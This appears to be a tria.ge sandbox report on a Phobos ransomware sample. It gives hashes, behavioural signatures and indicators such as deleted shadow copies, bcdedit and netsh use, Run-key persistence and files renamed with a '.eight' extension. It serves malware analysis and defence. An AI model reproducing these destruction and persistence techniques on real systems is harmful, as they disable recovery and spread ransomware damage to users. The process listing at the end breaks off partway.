Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
30/06/2024, 03:51
Static task
static1
Behavioral task
behavioral1
Sample
2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe
Resource
win10v2004-20240508-en
General
-
Target
2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe
-
Size
55KB
-
MD5
ec656f2e9d53e5c30ae03301cc4348ea
-
SHA1
abe66e0123a837890ff0f64039e5cc9b91549866
-
SHA256
2a8353551d099c78ac100b44718a691142f8cc7879b47e842ee8491426e15c08
-
SHA512
dc3a0e6d74954f2662cf7196e4b63cffbba4e6d41801767ef91c91eab853af3e3d1f6a529b0415bffc0269adb4030e57870865838237ac6cc54fb866379df554
-
SSDEEP
1536:YNeRBl5PT/rx1mzwRMSTdLpJZtqoQOcO:YQRrmzwR5JAOF
Malware Config
Signatures
-
Phobos
Phobos ransomware appeared at the beginning of 2019.
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1136 bcdedit.exe 1740 bcdedit.exe 2184 bcdedit.exe 2736 bcdedit.exe -
Renames multiple (315) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 1088 wbadmin.exe 2000 wbadmin.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2772 netsh.exe 2668 netsh.exe -
Drops startup file 3 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created \??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos = "C:\\Users\\Admin\\AppData\\Local\\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe" 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe Set value (str) \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos = "C:\\Users\\Admin\\AppData\\Local\\2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe" 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe -
Drops desktop.ini file(s) 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N2LZJYLW\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows Mail\Stationery\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Links\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IS6UL1FQ\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\ProgramData\Microsoft\Windows\Ringtones\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Public\Libraries\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Public\Music\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Microsoft Games\Chess\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\SZUP0XFR\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Microsoft Games\Hearts\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\1PJQWC5P\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\$Recycle.Bin\S-1-5-21-3691908287-3775019229-3534252667-1000\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification F:\$RECYCLE.BIN\S-1-5-21-3691908287-3775019229-3534252667-1000\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Public\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\DataServices\DESKTOP.INI 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\YR1SPOMQ\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Public\Pictures\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\Stationery\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Public\Downloads\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\History\History.IE5\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\Music\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\YK6DYF6H\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\4I7XWM59\desktop.ini 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\GKWord.dll.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\Stationery\Bears.jpg 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bahia_Banderas.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jre7\lib\javaws.jar.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\VideoLAN\VLC\lua\http\dialogs\batch_window.html.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\logger\libfile_logger_plugin.dll 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0233992.WMF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\SoftBlue\TAB_ON.GIF 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\WANS.NET.XML 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\feature.xml 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_ja.jar.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\System.IO.Log.dll 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0216112.JPG.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14515_.GIF 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BabyBlue\TAB_OFF.GIF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Fonts\Aspect.xml.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\de-DE\css\currency.css 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\16_9-frame-image-mask.png 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\ECLIPSE_.RSA 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\CPU.Gadget\it-IT\gadget.xml 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\BREEZE\BREEZE.ELM.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105506.WMF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Author2XML.XSL 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\rtf_hyperlink.gif 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\FORM.JS.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.5\it\System.Windows.Presentation.resources.dll 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-util.xml 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-spi-quicksearch.xml 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY00642_.WMF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD15020_.GIF 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\GRAPH.HXS.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-applemenu.xml.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\de\System.Data.Services.resources.dll 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\button_right_mouseover.png 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\button_right_over.gif 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Fortaleza.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\RESUME.XML 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jre7\lib\zi\Asia\Anadyr.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Windows Media Player\Media Renderer\DMR_120.png 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\DD01179_.WMF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14867_.GIF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD15301_.GIF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\RSSITEML.ICO 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CERT98.POC.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Common Files\Adobe\Updater6\AdobeUpdater.cer 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099178.WMF 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0215709.WMF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02252_.WMF 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0196164.WMF 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Office14\1033\PSRCHPHN.DAT.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jre7\bin\kinit.exe.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107262.WMF.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02071U.BMP 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02829J.JPG 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\TipsImage.jpg.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jre7\lib\fonts\LucidaBrightItalic.ttf.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02125_.WMF 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Module.eftx 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolIcons\INCOMING.ICO.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach.ja_5.5.0.165303.jar 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.ui_5.5.0.165303.jar.id[5781BB4F-2822].[[email protected]].eight 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2604 vssadmin.exe 2748 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 2024-06-25_ec656f2e9d53e5c30ae03301cc4348ea_phobos.exe 1560 